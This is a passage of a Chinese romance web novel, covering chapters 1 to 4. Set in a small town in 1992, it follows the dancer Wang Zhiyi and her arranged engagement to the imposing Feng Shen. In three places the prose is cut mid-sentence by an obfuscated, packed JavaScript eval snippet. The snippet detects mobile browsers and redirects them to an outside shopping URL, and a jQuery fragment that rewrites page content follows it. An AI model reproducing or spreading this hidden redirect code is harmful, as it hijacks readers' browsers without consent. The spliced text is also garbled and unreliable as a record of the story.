《阴差阳错[先婚后爱]》 1. 第 1 章 1992年 冬 腊月末的辰光,走在街上,呵一口气都能冻成冰渣子,午后的天气阴沉得厉害,像是憋着一场风雪,一天的大集临近散场,小商贩们抓紧最后的时间,大声吆喝着贱价处理。 街头的角落,大爷摇着转炉不停,一群小朋友叽叽喳喳地围观,炉膛里火苗噼里啪啦作响,转炉摇到最后,大爷站起身,抬一下手示意,小朋友们立马捂着耳朵远离,只听“嘭”的一声炸响,热腾腾的白气散开。 鼓涨的麻袋里蹦跳出几颗落单的爆米花,砸到小朋友们的头上,又滚落到地上,几个小家伙急着弯腰去抢,不小心撞到一起,这个捂脑袋,那个捂屁股,你看看我,我看看你,咯咯地笑成一团。 茶馆门前聚拢着两三桌,喝着茶水嗑着瓜子唠闲天儿。 有人道,电机厂的厂房好像全都卖出去了,也不知道卖给了谁。又有人探过头来说,等开了春儿,镇周边的路也要重修,好像还是个人出资捐款。 按说镇上最有钱的就属贺跃进了,不过就贺跃进那抠搜劲儿,要说他买下厂房,这事儿有可能,可要让他从自己兜里掏钱给大家伙儿修路,那比要了他的命还难。 一阵着急忙慌的铃声将大家的议论打断,只见一半大的小子骑着车子,从远处飞一样的奔了过来,差点就撞到了一胖大娘身上,幸亏他及时用脚刹住了车。 胖大娘被吓得不轻,惊魂未定地拍了拍胸脯,叉起腰张口大骂,你这个狗崽子骑这么快是要赶去给谁奔丧! 小伙子开始还一个劲儿地道歉,但大妈骂得着实难入耳,小伙子没忍住,两人你一句我一句地对骂起来。 汪知意被外面的热闹吸引,转头看了眼窗外,视线划过路口的柳树下,微微一顿。 他什么时候回来的?不是说下周才能回。 几天不见,怎么看着比之前又黑了些…… 封慎似有所感,掐灭手里的烟,抬眸望过来。 就算知道他不一定能看到她,汪知意还是下意识地低了些肩,对上方盼儿询问的眼神,她若无其事地弯眼笑笑,端起茶杯,淡定地喝一口茶。 方盼儿也看向窗户外,街上熙熙攘攘的人虽多,柳树下闲聊的那几个男人尤其引人注目,个子都高高大大的,气场也很不一般,中间那一位最显眼,比其他几位还要高出半个头。 男人生得高大魁梧,肤色黝黑,在别人身上臃肿松垮的军大衣,愣是让他穿出了一种冷刀入鞘的周正,一双黑眸更是乌亮锋锐,给他本就面无表情的脸又添了些寒戾。 方盼儿撞上他扫来的眼风,莫名胆颤了下,马上转开视线,再不敢多看。 汪知意心里有事情,没注意到方盼儿的异样,端起茶壶给方盼儿续上茶,又道:“我们这儿也没什么好的馆子可以招待你,要不你跟我回家吧,我们家离这儿不远,走路十几分钟就能到。” 方盼儿是汪知意之前的同事,汪知意艺专毕业后,就分配到了文化局下属的歌舞团,不过半年前她正式离了职,现在在镇上的幼儿园当老师。 汪知意和方盼儿当初虽是同一批到单位报到的,其实和她并不怎么熟,充其量也就是见面点个头的关系,连话都没说过几句。 方盼儿是团里的重点培养对象,所有的演出她几乎都是领舞。不像她,进单位两年多,连转正都没转成,每次演出也都是坐冷板凳。 她们往日几乎没什么交集,今日她找过来的更是突然,但远来是客,最起码也得礼节性地招待好。 方盼儿笑着回汪知意:“不用,我就是趁着休假过来玩儿,又想起你家也在这边,我还和我对象说,没准儿能在路上碰到你,也是缘分,没想到真就给碰到了,”她又从包里掏出一沓信,递过来,“这都是你的信,寄到了单位,我也顺便给你带过来了。” 汪知意接过信,大概翻了下,都是陈江川从香港寄过来的,他还不知道她离职的事情。 该说的话已经在电话里说完了,他们也不是谈对象,连分手这一步都可以省去,各自回到各自的位置就好,他又给她寄这些信做什么,她厌烦极了这种拖泥带水的不清不楚。 方盼儿托腮看着汪知意,有些移不开眼,舞蹈队里的姑娘虽然各有各的美,汪知意无疑是最好看的那一个。 一头乌发黑亮浓密,皮肤奶白,脸颊盈粉,杏仁眸里永远汪着一团春水,不笑的时候能晃人心,笑的时候又勾人眼。 现在离开了剧团,不用再节食维持严苛的体重标准,相比之前纤柔的骨感,她长了些肉,是那种恰到好处的曲线。 腰纤细,胸丰满,简单的手织麻花毛衣也掩不住姣好的身段儿,整个人从里到外散发着一种气血充盈的美,会让人很想要捏捏她的脸蛋儿。 方盼儿从来都自视甚高,很少会将什么人看在眼里,汪知意是第一个会让她停留视线的人,不只是因为她好看得过分,更因为她在舞蹈上的天分和那种认真的纯粹。 虽然她一直是领舞,但团里的人眼都不瞎,甚至连方盼儿自己也清楚,汪知意比她要跳得好,不过是因为领导明里暗里给她穿小鞋,才让她一直没有出头的机会。 可就算天天坐冷板凳,也从不见她泄气,每天该练舞练舞,该睡觉睡觉,该吃饭吃饭,见人就眉眼弯弯的打招呼,好像这个世上就没有什么事情是会让她不开心的,她身上有一种别人学不来的安逸和自得其乐的从容。 方盼儿开始以为这都是她强装出来的,时间久了才发现她是天性使然,但在有些人眼里,她这种好性子就成了好欺负。 比如他们那位前领导,他从来都是挑着家里没背景的拿捏,更何况是汪知意这种小地方上来的。 他应该怎么也没有料到,汪知意将他说的那些恶心的话全都录了音,在办完离职手续的转天,就用喇叭把他的话在单位门口循环播放了一个上午,让他的“好名声”直接扬到了省里。 方盼儿也是从那个时候才真正认识了汪知意,她干了团里好多人想做又不敢做的事情。 汪知意哪儿知道方盼儿对她有这么多的关注,她将信放到包里,这信随便扔不得,放炉子里当火引子烧掉最干净。 方盼儿其实有些好奇给汪知意寄信的人是谁,之前团里就一直在传她有位在香港的男朋友,也不知是真是假。 不过两人的关系远不到可以谈论这些事情的地步,方盼儿又和汪知意闲聊几句其他,抬腕看一眼时间,她对象应该给车加完油回来了,她也该走了。 天黑了路不好走,汪知意也就不多留人,跟着起身,又往窗外看了眼,柳树下已经没了人,她暗自松一口气。 方盼儿穿好外套,又看汪知意,犹豫道:“知意,以后方便的话,我可以再过来找你玩儿吗?” 汪知意想不出方盼儿现在为什么会想要和她亲近,也懒得多想什么,方盼儿性子是有些傲,但没坏心眼儿。 她笑着点头道,当然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她穿上厚厚的毛绒袜也才将将一米六七的个头,他比她爸还要高出去半个肩,怕是一米九都压不住,她要是想打他的头,得先跳起来才行,而他一个胳膊估计都能原地抡她十八个跟头。 身高上的压迫还只是其次,她最怕他双黑漆漆的眸子,不动声色盯着人的时候,很像藏在暗夜里的野狼,眉头要是再一皱,汪知意就只想当个鹌鹑,把自己从头到脚都埋进土里才能安心。 可街上是青石板路,没有土让她可以刨坑,汪知意尽量让自己的语气不要那么紧绷,轻快的嗓音里添了些笑意:“你提前回来了?” 封慎点了点头,伸手接她的包。 汪知意下意识地要避开他的胳膊,对上他的眼睛,又乖乖把包送到他手里,手指碰到他指腹的薄茧,心头瑟缩了下,又仰起脸,对他笑。 她一紧张,笑就会格外得多。 封慎看着她弯弯的眉眼,目光微浮动,面上无波澜。 他也不知道他身上哪点招了这姑娘的喜欢,别人连看他一眼都犯憷,她好像一点都不怕他。 她在封洵和封诚面前,都会乖乖巧巧地叫上一声二哥三哥,到了他这儿,就是一口一个封慎,还动不动就对他笑得这样甜。 他原本是打算让封洵或者封诚做汪家的女婿,他俩的性子和相貌都是招小姑娘喜欢的那种,年纪跟她也合适,彩礼和城里的房子他也都给他们备好了,无论她相中谁,看好日子就能结婚。 结果,她点名道姓要了他。 2. 第 2 章 汪知意才不是点名道姓要了他,她是抓阄抓到的他…… 当初汪知意辞掉剧团的工作,回到镇上,陆敏君就把相亲的事情提上了日程。 汪家在镇上也算是富足户,汪思齐是大夫,开了个小诊所,附近几个镇,谁有个头疼脑热,都会找到汪大夫这儿来,陆敏君原先在电机厂当会计,电机厂倒闭后,她就自己接些做衣服的活儿,她手艺好,找她的人多,一年忙活下来也不少挣。 汪家大闺女汪茵是镇上不多的几个大学生之一,又嫁进了省城,婆家都在政府机关单位上班,那都是有头有脸的人物。 汪知意虽是汪家捡来的孩子,可汪家一直把她当亲闺女养。 不说别的,镇上肯供姑娘读到中专的人家就不多,更别说还是学跳舞,在他们看来这纯就是浪费时间又浪费钱的事情,还不如早早找个好人家嫁了。 可就因为汪知意打小喜欢,陆敏君和汪大夫还专门托人找关系到城里给她找了一位老师,那位老师据说轻易不收学生的,不过她一眼就相中汪知意是跳舞的好苗子,直接收了她做关门弟子。 好苗子不好苗子的,平头老百姓哪儿懂跳舞这些事情,不过镇上的人一说起汪家幺幺,少不得都要提一句,那姑娘的身段是真好。 汪知意的模样又摆在那儿,百里挑一的水灵,性子又软乎乎的招人喜欢,这些年惦记她的人一直都不少。 本来这婚事儿应该是不难定的,但是汪知意当初从单位离职,有一些风言风语传到了镇上,说她是因为和领导有了不正当关系,才被单位给辞退的,这种事情大家一向都是听风就是雨,假的也能给你传成真的。 所以来家里说亲的,不是那些娶不上媳妇儿的老光棍儿,就是些不务正业的街溜子小流氓,还有一个是贺跃进那宝贝儿子贺宗涛,那更是个祸害,几次三番来家里捣乱,还扬言出去说汪知意这辈子只能给他做媳妇儿,险些没把汪思齐给气晕过去。 封慎就是在这个时候带着封洵和封诚登的汪家门。 陆敏君当时掀帘一出屋,看着院子门口从天上掉下来的三个高高大大的好小伙儿,一下子就直了眼,这不是她想什么老天爷就给她来什么。 要说两家的关系,还得从陆敏君和封慎的母亲秦婉这头论起,两人是打小一起长大的好姐妹儿,前后脚结的婚,又前后脚怀了孕,封慎和汪茵的娃娃亲是在娘胎里就定下的。 后来秦婉生老二封洵难产,没能救过来,几年后封慎的父亲封明强在山体滑坡的意外事故中去世,封慎和封洵成了没爹没娘的孩子。 封明强是外来户,在镇上没别的亲戚,秦婉倒是有几个兄弟姐妹,不过谁家都过得紧巴巴的,缺衣又少粮,没人愿意养俩小子。 陆敏君原是打算把俩孩子接到她家的,封慎是她看着长大的,封洵更是从生下来就是她帮着带,俩孩子就跟她亲生的没两样,没人养他们养。 不过后来封明强远在西北当兵的弟弟封明宇赶了回来,和汪家商量后,把封慎和封洵给接走了,那些年通讯不方便,封明宇又跟着部队一年一年的换地方,中间就断了消息。 汪茵在学校谈了个对象的时候,陆敏君试着联系过封明宇,虽说封慎和汪茵定的是娃娃亲,两个孩子也都没当真,她想着这件事怎么也得跟封家那边知会一声,可倒了几层关系也没找到人。 今年年初,汪思齐突发脑梗,转进了省城的医院,给汪思齐做手术的那个老专家一听他们是临南镇的,说他曾经一个老战友也是这个镇上的。 当天晚上封明宇就把电话打到了医院里,两家这才又联系上。 陆敏君给汪知意琢磨相亲人选时,最先想到的就是封家,虽然秦婉不在了,她还是想和她做亲家。 她抱着试试的想法,给封明宇打电话侧面提了一下这个事情,没想到封明宇直接把仨儿子都给她送了过来,让幺幺选,封明宇的原话是相中哪个都是帮了他们老封家的大忙,不然他们家得成了光棍窝。 封家这仨孩子就是哪个给她当女婿,陆敏君睡着觉都得笑醒,不过,要说她心里头最中意的,还是封慎。 就那大个头儿,进家里的门还得弯一下腰,不然得顶门框上,光是站在那儿,连话都不用说就能吓唬住人,办事儿有章程又沉稳,一看就是当家扛事拿大主意的主儿。 就是黑了点儿,没随了秦婉,随了老封家的根儿,封明宇兄弟俩就都是黑黝黝的,不过男人黑点儿不怕,她家幺幺白啊,哪怕以后生了孩子没随了幺幺,俩人中和中和,肯定难看不到哪儿去。 汪思齐对此持反对意见,他觉得陆敏君就是瞎胡闹,封慎跟汪茵订过娃娃亲,虽然最后没成,但镇上的人知道的也不少,现在要是再跟他们家幺幺谈,那不是胡来是什么。 再说,封慎长得跟个黑土匪似的,他以后要是欺负幺幺,他一脚都踹不动他。 汪思齐喜欢封洵,封洵也是大夫,和他说话能说到一块儿去,要不然封明宇那儿子封诚也行,他是学机械的,将来不愁没饭吃。 反正封慎绝对不行。 汪知意心里一开始中意的其实也是封洵,白净斯文,温柔有礼,和他过日子肯定稳当,不过他是军医,要随部队走。 她没打算离开镇上,她爸出院后恢复得虽然还可以,说话是能说清楚了,但走路还拖着半条腿,她妈血压高,心脏也不好,一忙起来经常不记得吃药,她得守在他们跟前。 所以封诚也不行,他还在读研究生,到时候还不知道会把工作定在哪儿。 封慎其实是最合适的结婚人选,他要在镇上开厂子,连厂房都买好了,以后肯定会留镇上,而且贺宗涛好像很怕他,自打他回来后,贺宗涛就没在路上再堵过她。 可是,怕他的不只有贺宗涛,她也怕他。 她见他的第一眼,就对他有些说不上来的畏惧,她胆子一向小得很,怕走夜路,怕听鬼故事,怕毛茸茸的虫子,怕老人嘴里那些会在山中出没的野狼猛兽。 现在又多了一个他。 她连和他对视都难,更别提要和他在一张桌子上一日三餐在一起吃饭,所以就算知道他是合适的那一个,最开始的时候,她也没考虑过他。 让她改变了些想法的是那次他带着她爸去医院复查,他长得跟个草莽悍匪似的,心却意外得细,好多事情想得比她都周到。 她爸腿脚不利索,走楼梯困难,他就背着她爸跑上跑下,要知道她爸一米八几的个头,很少有人能背得动他,更别说楼上楼下地跑。 她姐汪茵在婚姻里走过几年,总结出来一句话,男人那张脸说重要也重要,相比之下,真正要一起过日子的话,还是实用性更重要。 他应该就是实用性强的那一款,适合搭伙过日子,有他在,连买门神的钱都能省下。 结婚这件事,有的时候可能就源自于一些头脑发热的冲动,那天从医院回来,她抓了一次阄。 三十一个纸团,三十个是空白的,只有一个里面写着他的名字,三十比一的概率,如果这她都能抓到他,那就是天意。 天意让他们走到了现在,以后她不但要和他在一张桌子上面对面吃饭,甚至……还要睡一张床。 停!汪知意赶紧打住自己的念头,把发烫的脸往围巾里埋了埋,跟上他的脚步。 他的手伸过来攥住她的胳膊,汪知意仰起头看他,眼睛都圆了些,像只受了惊的猫,封慎拽着她往他这边拉了些,护她在怀里,一辆摩托车从他们身边疾驰而过。 汪知意背贴着他的胸,一动都不敢动。 封慎等轰隆隆的车走远,偏开身,将两人的距离断开,又看她:“走路别只盯着地面。” 汪知意“哦”一声,暗下来的夜色掩住了她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17263106|198056||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 耳根的红。 封慎牵着她又往前走了一段,过了车多的地方,才将她松开。 汪知意浓密的睫毛忽闪着,伸手拽住他的袖口。 封慎低头看她。 汪知意视线落在他的肩头,轻声道:“我出门忘了戴手套,手有些冷。” 封慎眉梢微动,看了看她冻得通红的手背,又牵住她,她的手指软得跟没骨头一样,稍微用些力,怕是都得骨折了,封慎虚拢着她的手揣到了自己衣兜里。 汪知意挪着僵直的腿,又往他那边靠了些。 离他们的婚期就只剩半个月不到,她不能一直这样怕他,总要和他慢慢熟悉起来。 汪知意胳膊挨着他的胳膊,肩抵上他的肩。 他的手很大,又暖和,掌心的纹路都是干燥的,不会让人觉得不舒服,反倒是她,指间都濡出了些湿,汪知意小心地动了下手腕,不想让他感觉到她手里的汗。 她的注意力都在两人的手上,脚下的步子就有些乱,头顶突然传来一声响亮的“小汪老师!”,惊得汪知意差点都要跳起来,她慌着从他掌心抽回自己的手,急急地看向楼上,清脆地“嗳”一声。 贺晓亮扒着自家阳台的栏杆,刚想问小汪老师,和她牵手的这个男人是谁,对上封慎看来的目光,到最边的话“咕哝”一下咽了回去,又“嗖”一下消失在了栏杆前。 他见过这个男人,他一拳就把宗涛小叔给揍趴下了,宗涛小叔和人打架从来就没输过,这个男人比宗涛小叔还要厉害,他更惹不起。 汪知意看着没了人影儿的阳台,眨了眨眼,贺晓亮这皮猴子平时在学校里调皮捣蛋,天不怕地不怕,连蛇他都敢碰,没一个老师能管住他,没想到他也会怕封慎。 这样看来她胆子也没有那么小,至少她敢让他牵她的手,汪知意这样想着,绷着的那根神经放松下来,她又感觉到什么不对,忙挪开踩在他鞋上的脚,连着道了两声对不起。 这两声对不起将她对他本能的惧怕暴露出来了些,封慎睨她一眼。 汪知意反应过来,定了下神,手主动抄进他的衣兜里,轻言细语道:“说对不起很奇怪吗,家里人也要说对不起的,不然以后我们要是拌嘴了闹别扭了,谁都不道歉,要怎么找台阶和好,”她顿一下,又道,“我们可以轮着来,你说一次我说一次这样。” 封慎看她,她有些时候像小孩子,有些时候又不像,比如现在。 汪知意想起什么,声音更小了些:“不过要是你欺负的我,你得跟我道歉才行。” 这一句又像小孩儿了,封慎默了默,开口道:“我不会欺负你。” 他对情情爱爱这些不热衷,对他来说,娶谁都是一样,汪家对他们家有恩,既然她相中了他,他便应下了这桩婚事。 他可能给不了她相应的感情,但肯定能护她周全,以后过起日子来,就算有什么矛盾了,他还不至于和她一个小姑娘计较什么,拌嘴闹别扭的事情不会有,欺负她的事情也不会有。 汪知意仰起嫩白的脸皮,冲他弯眼笑得甜蜜,看着像是对他满心满眼的信任和依赖,其实对他的话不当真。 这个世上除了她爸,从别的男人嘴里出来的话,都要打折扣听才行。 比如姐夫,结婚前,应她爸妈应得千好万好,不会她姐受委屈,会对她姐好一辈子,他现在又做到了几条。 又比如陈江川,信里电话里说的从来都是让她等着他,他会回来的,可他在香港那边已经订了婚,还瞒着她。 他……或许不同,她还要再看。 两人四目相对,心底事各异。 汪知意偏开眼,看向漆黑的夜空,零星的雪粒子随风飘落下来,沾在她嫣红的唇上,又消失不见,只留下一点晶莹的湿。 封慎目光拢着她,黑眸有些深,忽然又觉得,他刚才的话说早了些。 3. 第 3 章 两人走到胡同口,零星的小雪已经变成了洋洋洒洒的鹅毛。 白吉芳出来扔蜂窝煤,看到胡同那头一前一后走过来的俩人,撇撇嘴,没想到这老汪家的宝贝幺幺和封家的大儿子还真成了。 陆敏君心气儿高,一心想让自己闺女攀个高枝儿,她可是知道他们一直中意的是老陈家那孙子给他们当女婿,结果人陈江川现在留在香港不回来了。 别看他们把这件事瞒得严实,可瞒得过别人瞒不住她,她娘家弟媳妇儿的老丈人是镇上的邮递员。 以前隔三差五就有从香港来的信寄到老汪家的诊所,自打幺幺从单位离职后,就再没有一封信寄回来,俩人那不是闹掰了是什么,竹篮打水一场空说的就是他们老汪家。 陈江川不想当老汪家的女婿了,贺宗涛那小子倒是上赶着,托完这个又托那个,都不知道上门提了几次亲了,陆敏君愣是咬死不同意。 贺宗涛那条件多好啊,镇上最有钱的就属他们贺家了,贺跃进就只有贺宗涛这一个儿子,贺家那漫天的家业以后不全是他的,不管哪家的闺女嫁过去,就相当于下半辈子坐在金山上过日子了。 就这亲家,陆敏君还看不上,她本来还以为陆敏君心里盘算着什么好的呢,谁成想她挑来挑去,最后挑中了封家,还是封家的大儿子,封慎比幺幺大了都快一轮了,镇上像他这么大年纪的,孩子都能上树掏鸟了。 人是长得不错,镇上就再找不出比他更高的来,看着就有一把子力气,浓眉大眼,像他爹封明强,封明强当初就是靠那张脸才娶到了厂花秦婉。 就是黑了些,比他爹还黑,不过黑点儿不是缺点,看着野性才更像男人,瘦了吧唧的小白鸡崽子她也看不上。 可男人光有个长相有什么用,年纪大不说,连个正式的工作也没有,封家的老房子在半山上,就几间破砖瓦房,别说人,连黄虎狼住进去都怕把自己给砸死。 彩礼给了多少,陆敏君到现在压根儿都没提过一句,要是给的多,肯定早就显摆上了,彩礼给多给少这件事还放一边,关键是结婚的新房还是汪家的,合着这陆敏君到头来给自己闺女找了个上门女婿。 也是,要是当上门女婿,有张脸,有一膀子力气也就够了,就是不知道幺幺那娇娇弱弱的小身板能不能受得住。 白吉芳看两人走近,脸上挂出笑:“呦,封慎这是送幺幺回来了。” 汪知意笑着打招呼,封慎跟白吉芳微颔首点头。 白吉芳本来还想再打趣两句,一对上封慎那双眼,她心里就不由地有些打摆子,这封家老大也就模样儿随了他爹,性子是半点不像,封明强以前可是爱说又爱笑,也最会哄自己媳妇儿。 她看小夫妻俩这样子,怎么感觉以后过日子得是幺幺哄着封慎来。 所以陆敏君精明了一辈子,临了临了还是在宝贝闺女的终身大事上跌了跟头,这找上门女婿也找亏了,封慎这个样子一看就是半句软话都不肯说的,你就瞅着吧,后面过日子,幺幺的眼泪肯定少掉不了。 白吉芳心里想得热闹,话是一个字都不敢多说,和汪知意聊了两句冷嗖嗖的天气,抄着袖子小跑回了自家院儿,封慎那张脸可是比这下雪的天儿还要冷,也不知道以后和自己媳妇儿进了被窝,会不会有点热乎气。 汪知意倒不觉得冷,她的手被他一路攥得掌心都是汗,连带着身上都是热的。 两人的脚步停在院门口,封慎把手里的包递给她,抬腕看了眼表,没有多待的想法,把人送到就打算走:“我下午过来了一趟,现在就不进去了,待会儿还有个饭局。” 汪知意点点头:“你要是喝了酒,睡觉前要喝些蜂蜜水暖暖胃,不然明天容易难受。” 封慎压住要转身的脚,目光扫过她睫毛上沾着的雪花:“明天做什么?” 汪知意被他一盯,心里又有些紧张,她攥紧包,眼里盈着浅笑:“明天去城里,我妈想再买两床羽绒被。” 封慎道:“几点去,我让封诚到时候过来接你们,他明天也要去城里办事。” 汪知意想回不用,犹豫了下,又问:“你……婚礼的衣服都搭置好了吗?” 她的婚服她妈已经做出来了,做了足足四套,接亲的一套,仪式上一套,敬酒的一套,还备了一套是过年要穿的。 当初汪茵结婚,陆敏君也打算给她做婚服来着,但汪茵的婆家那边强势,话里话外都看不起手工做的,觉得在店里买的才洋气。 汪茵婚后还要和公公婆婆住一起,陆敏君不想婚还没结呢,先闹出些矛盾来,所以婚礼的筹备都依照亲家那边的意思来,连喜被都是买的。 这次到幺幺结婚了,陆敏君才算有了发挥的地方,光是喜被就做了十二条,全是她一针一线缝出来的,这还不算,大闺女当初买了喜被,小闺女也不能少,她做的是她做的,该买的也得买上。 汪知意所有的事情都听陆女士的安排,这次怎么也得让她妈过足了办喜事的瘾头。 明天母女俩去城里,除了看羽绒被,还要看婚鞋,他婚服要是还没搭置好的话,明天在店里也给他看看。 封慎回道:“都备好了。” 他有西服,不用再另外准备,穿不穿过也无所谓,婚礼那天他也就走个过场,敬完酒就得往火车站赶,连夜去内蒙。 年前得将那边矿上的事情收了尾,明年开春前这头工厂的事情也得全都敲定,事情堆着事情,他抽出一天的空闲来都难,结婚这件事本来就不在他的计划安排内,他不打算在这上面浪费太多的时间。 汪知意点点头,备好了就行。 陆敏君趴在窗户前,弯腰瞅着外面,上扬的唇角都快要挂到耳根。 汪思齐剥着蒜走到她身旁,顺着她的视线往外看:“看什么呢?” 陆敏君眼不离院门口:“幺幺和封慎在门口亲亲热热说了好一会儿话了。” 汪思齐隔窗盯着封慎,说话就说话,他离幺幺那么近做什么,现在还没结婚呢。 他冷哼道:“封慎在哪儿呢,我怎么没看到。” 陆敏君给他指:“那不就是吗,你眼瞎。” 汪思齐阴阳怪气地回:“哦,在那儿呢,他太黑了,这黑灯瞎火的,我都没看到。” 陆敏君回身刮他一眼:“你白,全天下数你最白,你白得晚上走路都不用拿手电筒照亮,又有个屁用,你连走夜路都不敢,天还没擦黑呢,去胡同口上个厕所还得叫上我作伴。” 汪思齐白净的面皮有些红:“那都是多少年前的事儿了,你怎么还拿出来念叨,再说那天晚上不是因为胡同里有办白事儿的,”他又拿肩头碰碰陆敏君,“这事儿可不许在闺女们面前说哈。” 有损他当爹的面子。 陆敏君没好气:“你也知道要脸,下次你再在幺幺面前说封慎的不好,我就把你的嘴给拿针缝起来,婚事儿没定下来也就算了,哪儿有当爹的天天在自己闺女面前说女婿坏话的。” 汪思齐不觉得自己说了封慎什么坏话,他说的明明是事实。 就他那黑黢黢的样子,再一沉下脸来,要搁早些时候,上山打猎都不需要用刀箭,他就站在那儿,能吓死的可不止一窝兔子,不信回头就让他去山里试试,没准儿过年的猪肉他们都不用买了,他直接就能扛一头野猪回来。 不过这话他也就只敢自己腹诽,不然今天晚上又得睡冷被窝,汪思齐好声好气地哄媳妇儿:“你那天骂我过后,我不就再没说过了。” 陆敏君懒得搭理他,让他滚一边去,少在她跟前现眼。 从幺幺和封慎谈婚事儿开始,他就看封慎哪儿哪儿都不顺眼,三天两头挑一回人家的刺儿,不是嫌人家年纪大,就是嫌人家长得黑。 他们从小养大的闺女,什么脾性他这个当爹的又不是不清楚,幺幺性子是软,可心里的主意也最正。 当初她提从剧团离职,她为什么没拦着,幺幺就不是那种想一出是一出的人,她既然做出了这个决定,必定是前前后后盘算了很久。 他们也是在幺幺离职后才知道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17263107|198056||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她领导做过的那脏事儿,闺女之前一句都没跟他们提过,家里但凡有一个能给她撑起腰来的人,她会受那么大的委屈。 陈江川陈江川靠不住,汪茵那头又自顾不暇,他这个当爹的是个软秀才,给人抓个药打个针还行,其他的事情,还得让幺幺护着他。 她呢,脾气急,一有什么事情就走内火,幺幺在她跟前从来是报喜不报忧,陈江川的事情要不是拖到最后瞒不下去了,幺幺也不会跟她提。 当初幺幺说要和封慎结婚,她也不是没犯过嘀咕,她中意封慎做女婿是她中意,也就晚上睡觉的时候跟汪思齐念叨念叨,在幺幺面前没说过一个字儿,因为她知道封慎压根儿就不是幺幺会喜欢的那种类型。 所以她生怕幺幺是从陈江川那儿伤了心,然后点兵点将点到了封慎,随随便便就要把自己给嫁了。 可幺幺跟她说了一句话,感情都可以培养,封慎是最合适过日子的人。 陆敏君也是那个时候才放下心来,她在婚姻里走了快三十年,自然清楚,喜不喜欢的这种东西,一旦过起了日子,很快就会被鸡毛蒜皮的零碎给磨没,在一日三餐里慢慢积累起来的感情,反倒会走得长远。 不像汪茵结婚前那会儿,她心里七上八下的,整宿整宿地睡不着,幺幺这婚事儿办得她心里就特别踏实,反正封慎这个丈母娘她是当定了,谁要是说封慎一句坏话,她都不干。 只有幺幺说可以。 不过,她看小两口处得是越来越见好,封慎走了得有一个星期,俩人好像也不见生分,都这么半天了,话还没说完,黏黏糊糊的,谁都不舍得先转身离开。 事实上,眼睛看到的都有些偏差,两人之间并没有多少黏糊。 封慎着急走,晚上的饭局要宴请计委的主任,他不好晚到,但她好像有话还没说完,他也只能耐下性子。 小姑娘娇得很,动不动就会红眼眶,就跟水做的一样,封慎其实很不耐烦见人哭,有事情解决事情就好,掉眼泪只是在浪费时间,他不说话还好,要是说一句“别哭了”,她眼泪还能掉更多。 封慎吃了两次教训后,在她这儿凡事都会压着自己多些耐心,只要她不哭,就会省掉很多麻烦。 汪知意其实也没什么话要和他说,但他一直看着她,她还以为是他有话要说,她受不住他目光的压迫,脖颈低垂下,脚尖划拉着地上堆起来的雪,等着他开口。 她再逼着自己直接叫他的名字,让自己主动和他亲近,告诉自己不用害怕他,可他这样不说话盯着她看时,她心里还是会忍不住紧张。 两人之间一时有些沉默,只有雪花簌簌地落。 雪花飘过她乌黑的发丝,又落到她低垂的颈子,昏暗的灯光下,封慎都分不清是雪更白一些,还是她更白一些,他平静地转开视线,看向远处茫茫的夜空,少顷,目光又转回到她身上。 她这样低着眉垂着眼站在他面前,话也不说,总归不能是因为他离开半个月,她想他了,不舍得他走。 封慎手指轻叩在大衣上,这是他耐心快要告罄的表现,他想起什么,从衣兜里掏出个小袋子,递给她。 这次出去时间紧张,丁贵只能在车站附近给他老娘买礼物,他被那小子拖着在店里逛的时候,也随手给她拿了一个。 汪知意不知道袋子里是什么,她接过来,打开看,有些意外,应该是香水,是洋牌子,她之前见剧团的同事用过。 她拿出香水,拧开瓶盖,在手腕喷了些,闻了闻,淡淡的栀子花香,她眼睛弯起些弧度,又看他:“好闻的。” 她抬起手腕递到他跟前,让他也闻。 白皙的腕子离他的唇只有寸许之隔,浅淡的香味和他的呼吸搅弄到一起,封慎面上没多少表情,声色不动地看她。 汪知意对上他的目光,心头发紧,她不让自己退缩,眼睛弯得更深了些,轻声问:“香不香?” 封慎喉结不明显地动了下。 可能是年纪小的缘故,她是真的挺会跟他撒娇的。 4. 第 4 章 他不说话,汪知意的手收回来不是,就那样一直擎着也不是。 飘落的雪花堆叠到掌心,冰凉浸到皮肤里,手指生理性瑟缩了下,腕间一动,不小心贴到他的唇上,汪知意蓦地僵住,又慌着收回手。 她把盖子拧回到瓶身,把香水放回纸袋里,又把袋子放回包里,好不容易压下那阵慌乱,抬头看他,软绵的嗓音听在旁人耳朵里又有些撒娇的意思:“我喜欢这个礼物。” 封慎眉眼平静,话说得敷衍:“喜欢下次还给你买。” 汪知意又笑,点点头,小鸡啄米般,很受哄的样子,声音更软:“好。” 陆敏君脸都快贴窗户上去了,可被纷飞的雪阻挡住了视线,她看不太清院门口的两个人在做什么。 汪思齐也紧盯着外面,手已经抄起了墙角的火钳,封慎要是敢胡来,他就冲出去敲断他的狗腿。 封慎看着她鼻尖冻出的红,道:“回吧,外头冷。” 